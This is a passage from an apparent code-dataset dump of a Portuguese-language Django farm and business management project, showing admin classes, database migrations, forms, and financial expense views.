'subcategoria__categoria', 'conta', 'empresa')\n search_fields = ('descricao', 'categoria__descricao', 'conta__descricao')\n\n\[email protected](Despesa)\nclass DespesaAdmin(ImportExportModelAdmin):\n list_display = ('descricao', 'situacao', 'data', 'subcategoria', 'conta', 'valor')\n list_filter = ('subcategoria', 'subcategoria__categoria', 'conta', 'empresa')\n search_fields = ('descricao', 'categoria__descricao', 'conta__descricao')\n"
},
{
"alpha_fraction": 0.5764948725700378,
"alphanum_fraction": 0.6020618677139282,
"avg_line_length": 55.395347595214844,
"blob_id": "981d94f22abc39bd471f7b29eb9e2ec2524cd02d",
"content_id": "ac497657612b5e668fb67e1723f66bacf4a24c7d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2426,
"license_type": "no_license",
"max_line_length": 210,
"num_lines": 43,
"path": "/portal/migrations/0005_terceiro.py",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "# Generated by Django 2.2.10 on 2020-06-17 15:31\n\nfrom django.conf import settings\nfrom django.db import migrations, models\nimport django.db.models.deletion\nimport django.db.models.functions.text\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ('portal', '0004_auto_20200611_1052'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Terceiro',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('created_at', models.DateTimeField(auto_now_add=True)),\n ('update_at', models.DateTimeField(auto_now=True, null=True)),\n ('nome', models.CharField(max_length=255, verbose_name='Nome')),\n ('cpf_cnpj', models.CharField(blank=True, max_length=18, null=True, verbose_name='CPF/CNPJ')),\n ('endereco', models.CharField(blank=True, max_length=255, null=True, verbose_name='Endereço')),\n ('bairro', models.CharField(blank=True, max_length=255, null=True)),\n ('cep', models.CharField(blank=True, max_length=10, null=True, verbose_name='CEP')),\n ('cidade', models.CharField(blank=True, max_length=150, null=True)),\n ('uf', models.CharField(blank=True, max_length=2, null=True, verbose_name='UF')),\n ('fone', models.CharField(blank=True, max_length=13, null=True)),\n ('email', models.CharField(blank=True, max_length=50, null=True)),\n ('site', models.CharField(blank=True, max_length=50, null=True)),\n ('categoria', models.IntegerField(choices=[[1, 'Cliente'], [2, 'Colaborador'], [3, 'Fabricante'], [4, 'Fornecedor'], [5, 'Parceiro'], [6, 'Produtor'], [7, 'Outros']], verbose_name='Categoria')),\n ('empresa', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to='portal.Empresa')),\n ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to=settings.AUTH_USER_MODEL)),\n ],\n options={\n 'verbose_name': 'Cadastro Terceiro',\n 'verbose_name_plural': 'Cadastros Terceiros',\n 'ordering': [django.db.models.functions.text.Lower('nome')],\n },\n ),\n ]\n"
},
{
"alpha_fraction": 0.6129729747772217,
"alphanum_fraction": 0.616216242313385,
"avg_line_length": 24,
"blob_id": "64cdece6faa2eae4530b9b377214de1ebb9df117",
"content_id": "5c67b167f8047ed5795bbeb965bd87dec363fa08",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 925,
"license_type": "no_license",
"max_line_length": 116,
"num_lines": 37,
"path": "/rebanho/forms.py",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "from django import forms\nfrom django.shortcuts import get_object_or_404\nfrom import_export.widgets import DateWidget\n\nfrom .models import Animal, Lote, Configuracao\n\n\nclass DateInput(forms.DateInput):\n input_type = 'date'\n\n\nclass AnimalForm(forms.ModelForm):\n class Meta:\n model = Animal\n fields = ('data_nascimento', 'sexo', 'padrao_racial', 'atividade', 'categoria', 'observacoes', 'data_morte',\n 'motivo_morte')\n\n widgets = {\n 'data_nascimento': DateInput(),\n 'data_morte': DateInput(),\n }\n\n\nclass LoteForm(forms.ModelForm):\n class Meta:\n model = Lote\n fields = ('descricao', 'data_criacao')\n\n widgets = {\n 'data_criacao': DateInput(),\n }\n\n\nclass ConfiguracaoForm(forms.ModelForm):\n class Meta:\n model = Configuracao\n fields = ('dias_gestacao', 'idade_limite_desmame', 'dias_limite_parto')\n"
},
{
"alpha_fraction": 0.5939933061599731,
"alphanum_fraction": 0.6507230401039124,
"avg_line_length": 32.296295166015625,
"blob_id": "317885b1b046c7a4235a1ad1586e28e0dccbb851",
"content_id": "87990564f410465a0b0875c4b07a5cb1cf1c844c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 901,
"license_type": "no_license",
"max_line_length": 170,
"num_lines": 27,
"path": "/rebanho/migrations/0003_auto_20200610_1628.py",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "# Generated by Django 2.2.10 on 2020-06-10 20:28\n\nimport datetime\nfrom django.conf import settings\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ('rebanho', '0002_auto_20200610_1612'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='animal',\n name='responsavel_morte',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='responsavel_morte', to=settings.AUTH_USER_MODEL),\n ),\n migrations.AlterField(\n model_name='lote',\n name='data_criacao',\n field=models.DateField(default=datetime.datetime(2020, 6, 10, 16, 28, 41, 666059), verbose_name='Data de criação'),\n ),\n ]\n"
},
{
"alpha_fraction": 0.6024263501167297,
"alphanum_fraction": 0.6201040148735046,
"avg_line_length": 69.36585235595703,
"blob_id": "5f854f275e59cefd29e881f3dd9de1a7e177f96c",
"content_id": "6fda55a5360cb8e04e604691f6a84e247ccdb10f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2906,
"license_type": "no_license",
"max_line_length": 336,
"num_lines": 41,
"path": "/portal/migrations/0006_produto.py",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "# Generated by Django 2.2.10 on 2020-06-17 16:08\n\nfrom django.conf import settings\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ('portal', '0005_terceiro'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Produto',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('created_at', models.DateTimeField(auto_now_add=True)),\n ('update_at', models.DateTimeField(auto_now=True, null=True)),\n ('descricao', models.CharField(max_length=150, verbose_name='Descrição')),\n ('categoria', models.IntegerField(choices=[[1, 'Agrícola'], [2, 'Combustível'], [3, 'EPI'], [4, 'Farmácia'], [5, 'Ferramenta'], [6, 'Lubrificante'], [7, 'Nutrição'], [8, 'Peça'], [9, 'Outros']], verbose_name='Categoria')),\n ('qtde_minima', models.PositiveIntegerField(blank=True, null=True, verbose_name='Quantidade Mínima')),\n ('qtde_maxima', models.PositiveIntegerField(blank=True, null=True, verbose_name='Quantidade Máxima')),\n ('unidade_medida', models.IntegerField(choices=[[1, 'Arroba'], [2, 'Centímetro'], [3, 'Centímetro Cúbico'], [4, 'Centímetro Quadrado'], [5, 'Grama'], [6, 'Litro'], [7, 'Metro'], [8, 'Metro Cúbico'], [9, 'Mililitro'], [10, 'Quilograma'], [11, 'Quilômetro'], [12, 'Tonelada'], [13, 'Unidade']], verbose_name='Categoria')),\n ('monitorar', models.BooleanField(default=False, verbose_name='Monitorar Estoque')),\n ('idade_minima', models.PositiveIntegerField(blank=True, null=True, verbose_name='Idade Mínima (meses)')),\n ('idade_maxima', models.PositiveIntegerField(blank=True, null=True, verbose_name='Idade Máxima (meses)')),\n ('carencia_abate', models.PositiveIntegerField(blank=True, null=True, verbose_name='Carência Abate (dias)')),\n ('usado_pasto', models.BooleanField(blank=True, default=False, null=True, verbose_name='Usado no Pasto')),\n ('especifico_sexo', models.IntegerField(blank=True, choices=[[0, 'Fêmea'], [1, 'Macho']], null=True, verbose_name='Específico para Sexo')),\n ('empresa', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to='portal.Empresa')),\n ('fabricante', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='portal.Terceiro')),\n ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to=settings.AUTH_USER_MODEL)),\n ],\n options={\n 'abstract': False,\n },\n ),\n ]\n"
},
{
"alpha_fraction": 0.6122605204582214,
"alphanum_fraction": 0.6275861859321594,
"avg_line_length": 37.382354736328125,
"blob_id": "d5ccb269ba04439614f54bdb0887cf840db32f54",
"content_id": "f7391f5ad584c5eb4e23896b01672399b8091098",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1305,
"license_type": "no_license",
"max_line_length": 152,
"num_lines": 34,
"path": "/rebanho/migrations/0006_auto_20200617_1436.py",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "# Generated by Django 2.2.10 on 2020-06-17 18:36\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('rebanho', '0005_configuracao'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='animal',\n name='empresa',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to='portal.Empresa', verbose_name='Empresa'),\n ),\n migrations.AlterField(\n model_name='configuracao',\n name='empresa',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to='portal.Empresa', verbose_name='Empresa'),\n ),\n migrations.AlterField(\n model_name='lote',\n name='empresa',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to='portal.Empresa', verbose_name='Empresa'),\n ),\n migrations.AlterField(\n model_name='movimentacaoanimallote',\n name='empresa',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to='portal.Empresa', verbose_name='Empresa'),\n ),\n ]\n"
},
{
"alpha_fraction": 0.5614407062530518,
"alphanum_fraction": 0.6292372941970825,
"avg_line_length": 23.842105865478516,
"blob_id": "f3b42e71c1a7c3e94aca96c041868b6d6b7845ae",
"content_id": "fc44c42fee8089629fbf6082377c8e902b3d3cf6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 474,
"license_type": "no_license",
"max_line_length": 102,
"num_lines": 19,
"path": "/rebanho/migrations/0004_auto_20200611_1103.py",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "# Generated by Django 2.2.10 on 2020-06-11 15:03\n\nfrom django.db import migrations, models\nimport django.utils.timezone\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('rebanho', '0003_auto_20200610_1628'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='lote',\n name='data_criacao',\n field=models.DateField(default=django.utils.timezone.now, verbose_name='Data de criação'),\n ),\n ]\n"
},
{
"alpha_fraction": 0.6996221542358398,
"alphanum_fraction": 0.6996221542358398,
"avg_line_length": 30.760000228881836,
"blob_id": "5ddd0ae3fb5b4f09a5e2d3b1f8a600fbe9e4fffd",
"content_id": "de7f4098f2efd1fbe7a3af1aea5176d3baf869c6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1588,
"license_type": "no_license",
"max_line_length": 93,
"num_lines": 50,
"path": "/portal/admin.py",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "from django.contrib import admin\nfrom django.contrib.auth.admin import UserAdmin\nfrom django.contrib.auth.models import User\nfrom import_export.admin import ImportExportModelAdmin\n\n# Register your models here.\nfrom portal.models import UserProfile, Empresa, Frota, Terceiro, Produto\n\n\nclass UserProfileInline(admin.StackedInline):\n model = UserProfile\n can_delete = True\n\n\nclass UserAdmin(UserAdmin):\n inlines = (UserProfileInline,)\n list_display = ('username', 'first_name', 'email')\n list_filter = ['userprofile__empresa', 'is_superuser', 'is_staff', 'is_active', 'groups']\n ordering = ['first_name', 'username']\n\n\[email protected](Empresa)\nclass EmpresaAdmin(ImportExportModelAdmin):\n list_display = ('nome_fantasia', 'cidade', 'uf', 'fone', 'email')\n list_filter = ('cidade', 'uf')\n search_fields = ('nome_fantasia',)\n\n\[email protected](Frota)\nclass FrotaAdmin(ImportExportModelAdmin):\n list_display = ('descricao', 'tipo', 'placa', 'ano', 'modelo')\n list_filter = ('ano', 'modelo', 'empresa')\n search_fields = ('descricao', 'placa')\n\n\[email protected](Terceiro)\nclass TerceiroAdmin(ImportExportModelAdmin):\n list_display = ('nome', 'categoria', 'cidade', 'uf', 'fone', 'email')\n list_filter = ('cidade', 'uf', 'empresa')\n search_fields = ('nome',)\n\n\[email protected](Produto)\nclass ProdutoAdmin(ImportExportModelAdmin):\n list_display = ('descricao', 'categoria', 'fabricante', 'unidade_medida')\n list_filter = ('categoria', 'empresa')\n search_fields = ('descricao',)\n\nadmin.site.unregister(User)\nadmin.site.register(User, UserAdmin)\n"
},
{
"alpha_fraction": 0.5664798617362976,
"alphanum_fraction": 0.5888945460319519,
"avg_line_length": 35.35185241699219,
"blob_id": "e5bcd32806c923ca3d30f434259ba5d64ba88957",
"content_id": "e6c5aaefcac1b63bc3ff08a5bc0aa450e92ee6da",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1968,
"license_type": "no_license",
"max_line_length": 144,
"num_lines": 54,
"path": "/portal/migrations/0003_auto_20200610_0957.py",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "# Generated by Django 2.2.10 on 2020-06-10 13:57\n\nfrom decimal import Decimal\nimport django.core.validators\nfrom django.db import migrations, models\nimport django.db.models.deletion\nimport django.db.models.functions.text\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('portal', '0002_auto_20200610_0920'),\n ]\n\n operations = [\n migrations.AlterModelOptions(\n name='frota',\n options={'ordering': [django.db.models.functions.text.Lower('descricao')], 'verbose_name': 'Frota', 'verbose_name_plural': 'Frota'},\n ),\n migrations.AddField(\n model_name='despesa',\n name='frota',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='portal.Frota'),\n ),\n migrations.AddField(\n model_name='despesa',\n name='marcador',\n field=models.PositiveIntegerField(blank=True, null=True, validators=[django.core.validators.MinValueValidator(Decimal('0.01'))]),\n ),\n migrations.AlterField(\n model_name='conta',\n name='tipo',\n field=models.IntegerField(choices=[[1, 'Conta Corrente'], [3, ' Investimento'], [2, 'Poupança'], [4, 'Outros']], default=1),\n ),\n migrations.AlterField(\n model_name='frota',\n name='ano',\n field=models.IntegerField(blank=True, null=True, verbose_name='Ano Fabricação'),\n ),\n migrations.AlterField(\n model_name='frota',\n name='modelo',\n field=models.IntegerField(blank=True, null=True, verbose_name='Ano Modelo'),\n ),\n migrations.AlterField(\n model_name='frota',\n name='tipo',\n field=models.IntegerField(choices=[[1, 'Automóvel'], [3, ' Maquinário'], [2, 'Motocicleta']], default=1),\n ),\n migrations.DeleteModel(\n name='ControleFrota',\n ),\n ]\n"
},
{
"alpha_fraction": 0.5560706853866577,
"alphanum_fraction": 0.5629592537879944,
"avg_line_length": 39.86505889892578,
"blob_id": "ef92824927e2a95fe5ff56e216c18cb8283c510d",
"content_id": "6ec8e19f4e93dda9ca9ed97f450ad468817d9345",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 45740,
"license_type": "no_license",
"max_line_length": 120,
"num_lines": 1119,
"path": "/financeiro/views.py",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "import json\nfrom calendar import monthrange\nimport datetime\nfrom decimal import Decimal\n\nfrom django.contrib.auth.decorators import login_required\nfrom django.db.models import Sum, Count\nfrom django.forms import forms\nfrom django.http import HttpResponse, JsonResponse\nfrom django.shortcuts import render, redirect, get_object_or_404\n\n# Create your views here.\nfrom django.template.loader import render_to_string\n\nfrom financeiro.forms import DespesaForm, ReceitaForm, CategoriaForm, ContaForm, SubCategoriaForm\nfrom financeiro.models import Receita, Despesa, Categoria, Conta, SubCategoria\nfrom portal.views import group_required\n\n\nclass DecimalEncoder(json.JSONEncoder):\n def default(self, obj):\n if isinstance(obj, Decimal):\n return float(obj)\n return json.JSONEncoder.default(self, obj)\n\n\n@login_required\n@group_required('Financeiro')\ndef movimento(request):\n context = {\n\n }\n\n return render(request, 'financeiro/movimento.html', context)\n\n\n@login_required\n@group_required('Financeiro')\ndef despesa(request):\n inicio = request.GET.get('data_inicial')\n if not inicio:\n inicio = '%s-%s-%s' % (\n datetime.datetime.today().strftime('%Y'),\n datetime.datetime.today().strftime('%m'),\n '01'\n )\n else:\n inicio = inicio[6:10] + '-' + inicio[3:5] + '-' + inicio[0:2]\n\n final = request.GET.get('data_final')\n\n if not final:\n final = '%s-%s-%s' % (\n datetime.datetime.today().strftime('%Y'),\n datetime.datetime.today().strftime('%m'),\n '%02d' % monthrange(datetime.datetime.today().year, datetime.datetime.today().month)[1]\n )\n else:\n final = final[6:10] + '-' + final[3:5] + '-' + final[0:2]\n\n despesas = Despesa.objects.filter(data__range=[inicio, final], empresa=request.user.userprofile.empresa)\n pendentes = Despesa.objects.filter(situacao=False, data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).aggregate(total=Sum('valor'))\n efetivadas = Despesa.objects.filter(situacao=True, data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).aggregate(total=Sum('valor'))\n total = Despesa.objects.filter(data__range=[inicio, final], empresa=request.user.userprofile.empresa).aggregate(\n total=Sum('valor'))\n\n categorias = Despesa.objects.filter(subcategoria__categoria__tipo=Categoria.DEBITO, data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).order_by(\n 'subcategoria__categoria__descricao').values_list(\n 'subcategoria__categoria__descricao').annotate(total=Sum('valor')).distinct()\n\n subcategorias = Despesa.objects.filter(subcategoria__categoria__tipo=Categoria.DEBITO, data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).order_by(\n 'subcategoria__descricao').values_list(\n 'subcategoria__descricao').annotate(total=Sum('valor')).distinct()\n\n data_inicial = inicio[8:10] + '/' + inicio[5:7] + '/' + inicio[0:4]\n data_final = final[8:10] + '/' + final[5:7] + '/' + final[0:4]\n context = {\n 'despesas': despesas,\n 'pendentes': pendentes,\n 'efetivadas': efetivadas,\n 'total': total,\n 'categorias': json.dumps(list(categorias), cls=DecimalEncoder),\n 'subcategorias': json.dumps(list(subcategorias), cls=DecimalEncoder),\n 'color': 'danger-color-dark',\n 'data_inicial': data_inicial,\n 'data_final': data_final,\n 'tipo': 'Despesa',\n }\n\n return render(request, 'financeiro/despesa.html', context)\n\n\n@login_required\n@group_required('Financeiro')\ndef adicionar_despesa(request):\n acao = '/financeiro/despesa/adicionar'\n\n form = DespesaForm(user=request.user, data=request.POST or None)\n return salvar_despesa(request, form, 'includes/create.html', acao)\n\n\n@login_required\n@group_required('Financeiro')\ndef editar_despesa(request, despesa_pk):\n despesa = get_object_or_404(Despesa, pk=despesa_pk)\n acao = '/financeiro/despesa/editar/%s' % despesa.id\n\n form = DespesaForm(instance=despesa, user=request.user, data=request.POST or None)\n return salvar_despesa(request, form, 'includes/update.html', acao)\n\n\n@login_required\n@group_required('Financeiro')\ndef excluir_despesa(request, despesa_pk):\n despesa = get_object_or_404(Despesa, pk=despesa_pk)\n registro = despesa\n acao = '/financeiro/despesa/excluir/%s' % despesa.id\n tipo = 'Despesa'\n data = dict()\n inicio = request.GET.get('data_inicial')\n final = request.GET.get('data_final')\n\n if request.method == 'POST':\n despesa.delete()\n data['form_is_valid'] = True\n\n inicio = request.POST['inicio']\n if not inicio:\n inicio = '%s-%s-%s' % (\n datetime.datetime.today().strftime('%Y'),\n datetime.datetime.today().strftime('%m'),\n '01'\n )\n else:\n inicio = inicio[6:10] + '-' + inicio[3:5] + '-' + inicio[0:2]\n\n final = request.POST['final']\n\n if not final:\n final = '%s-%s-%s' % (\n datetime.datetime.today().strftime('%Y'),\n datetime.datetime.today().strftime('%m'),\n '%02d' % monthrange(datetime.datetime.today().year, datetime.datetime.today().month)[1]\n )\n else:\n final = final[6:10] + '-' + final[3:5] + '-' + final[0:2]\n\n despesas = Despesa.objects.filter(data__range=[inicio, final], empresa=request.user.userprofile.empresa)\n pendentes = Despesa.objects.filter(situacao=False, data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).aggregate(total=Sum('valor'))\n efetivadas = Despesa.objects.filter(situacao=True, data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).aggregate(total=Sum('valor'))\n total = Despesa.objects.filter(data__range=[inicio, final], empresa=request.user.userprofile.empresa).aggregate(\n total=Sum('valor'))\n\n categorias = Despesa.objects.filter(subcategoria__categoria__tipo=Categoria.DEBITO, data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).order_by(\n 'subcategoria__categoria__descricao').values_list(\n 'subcategoria__categoria__descricao').annotate(total=Sum('valor')).distinct()\n\n subcategorias = Despesa.objects.filter(subcategoria__categoria__tipo=Categoria.DEBITO,\n data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).order_by(\n 'subcategoria__descricao').values_list(\n 'subcategoria__descricao').annotate(total=Sum('valor')).distinct()\n\n inicio = inicio[8:10] + '/' + inicio[5:7] + '/' + inicio[0:4]\n final = final[8:10] + '/' + final[5:7] + '/' + final[0:4]\n\n data['html_list'] = render_to_string('includes/despesa_list.html', {\n 'despesas': despesas,\n 'data_inicial': inicio,\n 'data_final': final\n })\n data['html_resumo'] = render_to_string('includes/resumo.html', {\n 'pendentes': pendentes,\n 'efetivadas': efetivadas,\n 'total': total,\n 'color': 'danger-color-dark'\n })\n data['html_categorias'] = render_to_string('includes/categorias.html', {\n 'categorias': json.dumps(list(categorias), cls=DecimalEncoder),\n 'subcategorias': json.dumps(list(subcategorias), cls=DecimalEncoder),\n })\n data['html_periodo'] = render_to_string('includes/periodo.html', {\n 'data_inicial': inicio,\n 'data_final': final,\n 'tipo': tipo\n })\n else:\n context = {\n 'despesa': despesa,\n 'registro': registro,\n 'acao': acao,\n 'tipo': tipo,\n 'data_inicial': inicio,\n 'data_final': final\n }\n data['html_form'] = render_to_string('includes/delete.html', context, request=request)\n return JsonResponse(data)\n\n\n@login_required\n@group_required('Financeiro')\ndef alterar_situacao_despesa(request, despesa_pk):\n despesa = get_object_or_404(Despesa, pk=despesa_pk)\n registro = despesa\n acao = '/financeiro/despesa/situacao/%s' % despesa.id\n tipo = 'despesa'\n data = dict()\n inicio = request.GET.get('data_inicial')\n final = request.GET.get('data_final')\n\n if request.method == 'POST':\n from datetime import date\n if despesa.data <= date.today():\n if despesa.situacao == 0:\n despesa.situacao = 1\n elif despesa.situacao == 1:\n despesa.situacao = 0\n\n despesa.save()\n data['form_is_valid'] = True\n\n inicio = request.POST['inicio']\n if not inicio:\n inicio = '%s-%s-%s' % (\n datetime.datetime.today().strftime('%Y'),\n datetime.datetime.today().strftime('%m'),\n '01'\n )\n else:\n inicio = inicio[6:10] + '-' + inicio[3:5] + '-' + inicio[0:2]\n\n final = request.POST['final']\n\n if not final:\n final = '%s-%s-%s' % (\n datetime.datetime.today().strftime('%Y'),\n datetime.datetime.today().strftime('%m'),\n '%02d' % monthrange(datetime.datetime.today().year, datetime.datetime.today().month)[1]\n )\n else:\n final = final[6:10] + '-' + final[3:5] + '-' + final[0:2]\n\n despesas = Despesa.objects.filter(data__range=[inicio, final], empresa=request.user.userprofile.empresa)\n pendentes = Despesa.objects.filter(situacao=False, data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).aggregate(total=Sum('valor'))\n efetivadas = Despesa.objects.filter(situacao=True, data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).aggregate(total=Sum('valor'))\n total = Despesa.objects.filter(data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).aggregate(total=Sum('valor'))\n categorias = Despesa.objects.filter(subcategoria__categoria__tipo=Categoria.DEBITO,\n data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).order_by(\n 'subcategoria__categoria__descricao').values_list(\n 'subcategoria__categoria__descricao').annotate(total=Sum('valor')).distinct()\n\n subcategorias = Despesa.objects.filter(subcategoria__categoria__tipo=Categoria.DEBITO,\n data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).order_by(\n 'subcategoria__descricao').values_list(\n 'subcategoria__descricao').annotate(total=Sum('valor')).distinct()\n\n inicio = inicio[8:10] + '/' + inicio[5:7] + '/' + inicio[0:4]\n final = final[8:10] + '/' + final[5:7] + '/' + final[0:4]\n\n data['html_list'] = render_to_string('includes/despesa_list.html', {\n 'despesas': despesas,\n 'data_inicial': inicio,\n 'data_final': final\n })\n data['html_resumo'] = render_to_string('includes/resumo.html', {\n 'pendentes': pendentes,\n 'efetivadas': efetivadas,\n 'total': total,\n 'color': 'danger-color-dark'\n })\n data['html_categorias'] = render_to_string('includes/categorias.html', {\n 'categorias': json.dumps(list(categorias), cls=DecimalEncoder),\n 'subcategorias': json.dumps(list(subcategorias), cls=DecimalEncoder),\n })\n else:\n data['form_is_valid'] = False\n erro = 'Não é possível efetivar uma despesa futura.'\n context = {\n 'despesa': despesa,\n 'registro': registro,\n 'acao': acao,\n 'tipo': tipo,\n 'data_inicial': inicio,\n 'data_final': final,\n 'erro': erro\n }\n data['html_form'] = render_to_string('includes/situacao.html', context, request=request)\n else:\n context = {\n 'despesa': despesa,\n 'registro': registro,\n 'acao': acao,\n 'tipo': tipo,\n 'data_inicial': inicio,\n 'data_final': final\n }\n data['html_form'] = render_to_string('includes/situacao.html', context, request=request)\n return JsonResponse(data)\n\n\n@login_required\n@group_required('Financeiro')\ndef salvar_despesa(request, form, template_name, acao):\n from datetime import date\n data = dict()\n tipo = 'Despesa'\n inicio = request.GET.get('data_inicial')\n final = request.GET.get('data_final')\n lista_categorias = Categoria.objects.filter(empresa=request.user.userprofile.empresa, tipo=Categoria.DEBITO)\n\n if request.method == 'POST':\n if form.is_valid() and (((form.instance.data <= date.today()) and ('situacao' in request.POST)) or not (\n 'situacao' in request.POST)):\n if 'situacao' in request.POST:\n form.instance.situacao = 1\n else:\n form.instance.situacao = 0\n\n form.instance.empresa = request.user.userprofile.empresa\n form.instance.user = request.user\n form.save()\n data['form_is_valid'] = True\n\n inicio = request.POST['inicio']\n if not inicio:\n inicio = '%s-%s-%s' % (\n datetime.datetime.today().strftime('%Y'),\n datetime.datetime.today().strftime('%m'),\n '01'\n )\n else:\n inicio = inicio[6:10] + '-' + inicio[3:5] + '-' + inicio[0:2]\n\n final = request.POST['final']\n\n if not final:\n final = '%s-%s-%s' % (\n datetime.datetime.today().strftime('%Y'),\n datetime.datetime.today().strftime('%m'),\n '%02d' % monthrange(datetime.datetime.today().year, datetime.datetime.today().month)[1]\n )\n else:\n final = final[6:10] + '-' + final[3:5] + '-' + final[0:2]\n\n despesas = Despesa.objects.filter(data__range=[inicio, final], empresa=request.user.userprofile.empresa)\n pendentes = Despesa.objects.filter(situacao=False, data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).aggregate(\n total=Sum('valor'))\n efetivadas = Despesa.objects.filter(situacao=True, data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).aggregate(\n total=Sum('valor'))\n total = Despesa.objects.filter(data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).aggregate(total=Sum('valor'))\n categorias = Despesa.objects.filter(subcategoria__categoria__tipo=Categoria.DEBITO,\n data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).order_by(\n 'subcategoria__categoria__descricao').values_list(\n 'subcategoria__categoria__descricao').annotate(total=Sum('valor')).distinct()\n\n subcategorias = Despesa.objects.filter(subcategoria__categoria__tipo=Categoria.DEBITO,\n data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).order_by(\n 'subcategoria__descricao').values_list(\n 'subcategoria__descricao').annotate(total=Sum('valor')).distinct()\n\n inicio = inicio[8:10] + '/' + inicio[5:7] + '/' + inicio[0:4]\n final = final[8:10] + '/' + final[5:7] + '/' + final[0:4]\n\n data['html_list'] = render_to_string('includes/despesa_list.html', {\n 'despesas': despesas,\n 'data_inicial': inicio,\n 'data_final': final\n })\n data['html_resumo'] = render_to_string('includes/resumo.html', {\n 'pendentes': pendentes,\n 'efetivadas': efetivadas,\n 'total': total,\n 'color': 'danger-color-dark'\n })\n data['html_categorias'] = render_to_string('includes/categorias.html', {\n 'categorias': json.dumps(list(categorias), cls=DecimalEncoder),\n 'subcategorias': json.dumps(list(subcategorias), cls=DecimalEncoder),\n })\n else:\n data['form_is_valid'] = False\n erro = 'Não é possível efetivar uma despesa futura.'\n context = {\n 'form': form,\n 'acao': acao,\n 'tipo': tipo,\n 'data_inicial': inicio,\n 'data_final': final,\n 'erro': erro,\n 'lista_categorias': lista_categorias\n }\n data['html_form'] = render_to_string(template_name, context, request=request)\n return JsonResponse(data)\n\n context = {\n 'form': form,\n 'acao': acao,\n 'tipo': tipo,\n 'data_inicial': inicio,\n 'data_final': final,\n 'lista_categorias': lista_categorias\n }\n data['html_form'] = render_to_string(template_name, context, request=request)\n return JsonResponse(data)\n\n\n@login_required\n@group_required('Financeiro')\ndef receita(request):\n inicio = request.GET.get('data_inicial')\n if not inicio:\n inicio = '%s-%s-%s' % (\n datetime.datetime.today().strftime('%Y'),\n datetime.datetime.today().strftime('%m'),\n '01'\n )\n else:\n inicio = inicio[6:10] + '-' + inicio[3:5] + '-' + inicio[0:2]\n\n final = 